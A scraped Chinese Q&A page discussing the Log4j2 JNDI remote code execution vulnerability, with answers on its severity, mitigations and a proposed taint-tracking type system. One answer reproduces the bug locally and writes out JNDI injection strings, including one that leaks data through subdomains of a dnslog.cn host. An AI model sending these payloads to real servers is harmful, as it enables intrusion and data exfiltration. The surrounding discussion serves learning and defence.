百科问答小站 logo
百科问答小站 font logo



如何看待log4j2远程代码执行漏洞? 第1页

  

user avatar   yao-dong-27 网友的相关建议: 
      

不用过度解读,就当是个天灾意外好了

这种诡异的隐藏如此之深的漏洞,不可能在开发测试阶段就被发现,code review时能看出来的绝对是神仙。

----- 前方高能,大批量神仙即将出没在评论区----

这种意外跟开源不开源没啥关系,跟投入多少研发人员资金没啥关系,意外就是意外,小概率事件,一定会发生且无法杜绝。

重点是建立应急防御机制,从这件事来看,全球各个企业机构反应还是很快的,开发维护者也响应很及时。虽然天灾无可避免,但救灾行动快一点就行。

不要借题发挥了,如果能讲解下漏洞原理,复现方法,给大家长长见识也是可以的,但是啥都不懂还能异想天开胡说八道11条就免了吧。


user avatar   liu-ji-27-94 网友的相关建议: 
      

攻击者可以利用注入语句,在目标服务器上执行任意代码,没有什么比这更严重了吧?而且这次中招的log4j2框架在业务中又十分常见,影响范围非常广。

现在各大网站都在填补漏洞,如果没赶上大新闻,可以尝试在本地自己复现一下漏洞,可以很直观地感受到事情的严重性。我在这篇文章中讲解了详细的复现步骤:


user avatar   xin-2050 网友的相关建议: 
      

log4j一个写日志的库,不好好写日志,非要远程执行代码。

简单说类似于 登录框中的sql注入攻击。

这个库十几万代码,上万次提交。。。


user avatar   10-4-78-52 网友的相关建议: 
      

回顾一下12.10一天的经历

  1. 早上看到新闻,心想:这漏洞真厉害
  2. 中午到了公司发现,自己的项目用的logback,躲过一劫
  3. 下午吃瓜看一群同事修bug发版,在微信群里扯淡吐槽
  4. 晚上在本地复现了一下攻击过程
  5. 感叹,还是要多学习多进步啊,并整理了这篇回答

昨天一整天都在被公司群、闲聊扯淡群、知乎上log4j2漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案,吐槽半夜被叫醒加班补漏洞,还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然,还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个dnslog.cn网站的dns记录截图。

作为一名纯粹的后端搬砖程序员,平日对安全领域真的是没啥涉猎。所以这个网站是干啥的?为啥有记录就证明百度、iCloud被攻击了?于是抱着学习的态度研究了一番,有了一丢丢的收获。

DNSLog网站是干啥的?

讲人话:DNSLog可以为你免费分配一个二级域名,并记录这个二级域名做DNS解析过程中的域名和IP映射关系的请求记录。当你对这个二级域名进行请求时,自然会进行DNS解析,所以你就会在当前的页面查看到解析的记录。

比如我随机分配到了这个域名:7lqs4g.dnslog.cn

之后我请求这个域名,当然,什么都不会返回。但是在DNSLog的页面上,会显示域名解析记录,如图:

如何证实漏洞?

本次的log4j2漏洞,是通过构造一个${jndi:ldap://blabla.com}格式的字符串,在log4j2打印包含这个字符串的日志时,通过JNDI对ldap://blabla.com进行请求。所以,如果能注入成功,则在请求网址的时候,会对blabla.com这个域名进行解析,并留下解析记录。

所以这就是为什么,用DNSLog网站的截图来证明,各大网站存在漏洞的原因。因为注入成功就会有记录呀。

于是在本地也感受一下。新建一个Spring Boot的Web项目,配置好我们这次的主角log4j2。

写一个简单的post请求的接口,里面的内容就是输出请求的信息。对这个接口进行正常的请求,输出如下:

之后我们在将请求构造成注入攻击的格式,带上我们新申请的二级域名:${jndi:ldap://gc46bp.dnslog.cn}。再发起一次请求,结果如图:

可以看到,攻击生效了,回到DNSLog页面上刷新一下DNS解析记录,已经出现了。


漏洞解决

目前各大厂给出的方案可以参考这篇回答:

总结起来有以下几个:

彻底解决方案

log4j升级到2.15.0版本

暂时解决方案

  • 修改log4j2配置:log4j2.formatMsgNolookups=True
  • 修改JVM参数 -Dlog4j2.formatMsgNoLookups=true

这个方案我尝试之后是可行的

平替方案

那就是不用log4j2啦,直接用logBack就好了哈哈哈哈。

因为自己的项目使用的是logback,所以这一整天就看别人在那升级版本上线了,全程吃瓜。

而且也因为Spring Boot是默认使用的logback,所以做测试的项目创建后忘了配置接入log4j2,测了几次发现没bug啊……尴尬。

DNSLog还能干啥

再说回到DNSLog。那这个网站就只是看一下DNS解析记录?并不是,其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名,这样信息就可以直接在DNS解析记录里看到了。


设计一个蹩脚的漏洞来攻击

那么我们就可以结合刚才的知识,来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码:

然后我构造如下的入参,进行注入攻击:${jndi:ldap://{}.hbh9cz.dnslog.cn}

可以看到,实际上输出的日志变成:

再查看DNSLog的解析记录,可以看到我们要的信息已经带出来了。



哎,要学的东西实在是太多了,作为程序员,还是要不断学习不断进步,以后遇到这种漏洞产生的危害时,才能从容应对啊。这里准备了一些Java程序员的学习资料,一起进步吧。



user avatar   ling-jian-94 网友的相关建议: 
      

草率引入已知有远程执行风险的JNDI,默认启用并且长期没有人关注是问题之一,但我认为最根本的还是来自于不可信任来源的数据(用户输入)最终在没有任何监管的情况下被当作了必须被信任的数据(被解析+执行的命令)。在现代编程实践中,我们必须认识到,因为各类动态特性的引入,数据和代码并不能被严格区分,不可信任的数据应该像不可信任的代码一样被谨慎处理,而目前的编译系统并不能有效区分数据来源。区分数据来源和可信度对业务系统来说比区分数据类型重要得多,而现在的类型系统花时间区分String还是int,却对源自于用户的String和源自于可信位置的String毫不区分,这是非常荒唐的事情。

也许以后的类型系统可以增加一种“染色”的特性:

  1. 颜色可以像C++中的“const”一样,作为类型的一种修饰,至少有“无色”和“黑色”两种不同的颜色
  2. 编译时常量是“无色”的,代表可信任
  3. 底层IO接口(File/Socket)输出的结果是“黑色”的,代表不可信任
  4. 有“黑色”数据参与的运算,输出结果都是“黑色”
  5. 函数在编译过程中会自动生成染色规则并且缓存起来,染色规则指哪些参数是输入或输出,哪些参数的颜色会被“染”到输出或者返回值上面
  6. 基于虚函数的接口默认最严格的染色规则(所有参数都会染到所有输出),可以自己声明需要的染色规则,在接口实现的时候会进行编译检查
  7. 变量的颜色可以强制指定,也可以在赋值时自动推断;全局变量、成员变量通常默认为黑色,可以声明为其他颜色(如无色),赋值时如果不符合相应颜色无法编译通过
  8. OOP中,this被视为一个IN/OUT参数,并且有相应的颜色,调用接口时视为同时对this指向的对象进行了一次带染色的赋值。如果指定某个对象引用为无色,则类似于C++中const的情况,只有调用中不会将this染成其他颜色的接口(包括传入参数全都是无色,或者这个接口不会导致this染色,即不会对成员变量进行带染色赋值)可以使用。这个特性可以保护无色的可变对象不会意外引入带颜色的数据。
  9. 可能引入安全问题的接口中,参数会被强制指定为“无色”,例如JNDI、executeSQL、exec、eval一类的函数,被染色的参数输入时编译无法通过。
  10. 和所有的类型系统一样,允许使用强制转换强制设置值的颜色来在特定情况下绕过检查
  11. 用户或者库可能引入更多的颜色和规则来执行自定义的检查,例如不同的网络来源有不同的颜色,或者同时禁止format使用用户输入数据等等。




  

相关话题

  听说过面向工资编程吗?面向工资编程是怎样一种体验? 
  java初学者需不需要立马学习使用ide? 
  微信后台的工作人员(或者很厉害的黑客)能给自己的零钱包充值吗? 
  代码结构中Dao,Service,Controller,Util,Model是什么意思,为什么划分? 
  为什么微软.NET,C#在美国,英国等国外都非常流行,而在国内却逐渐没落? 
  服务端把客户端几次发的数据一起接受了,是怎么回事?socket,Tcp协议 
  SolarWinds软件被黑客入侵,其目标和影响有哪些? 
  为什么全网甚至全中国找不到一个能轻松,清晰,简洁明了把java编程讲清楚的人? 
  对容器类做改变的设计是否存在天生的错误? 
  C#在开源框架的数量和质量上有希望追上JAVA么? 

前一个讨论
如何看待上汽不选择华为却选 Momenta 作为「灵魂」?对于传统造车势力来说,自动驾驶都有哪些选项?
下一个讨论
感觉算法在程序员中快被吹上天了,如果只是搞编程的话,是不是没必要死磕算法?





© 2024-11-09 - tinynew.org. All Rights Reserved.
© 2024-11-09 - tinynew.org. 保留所有权利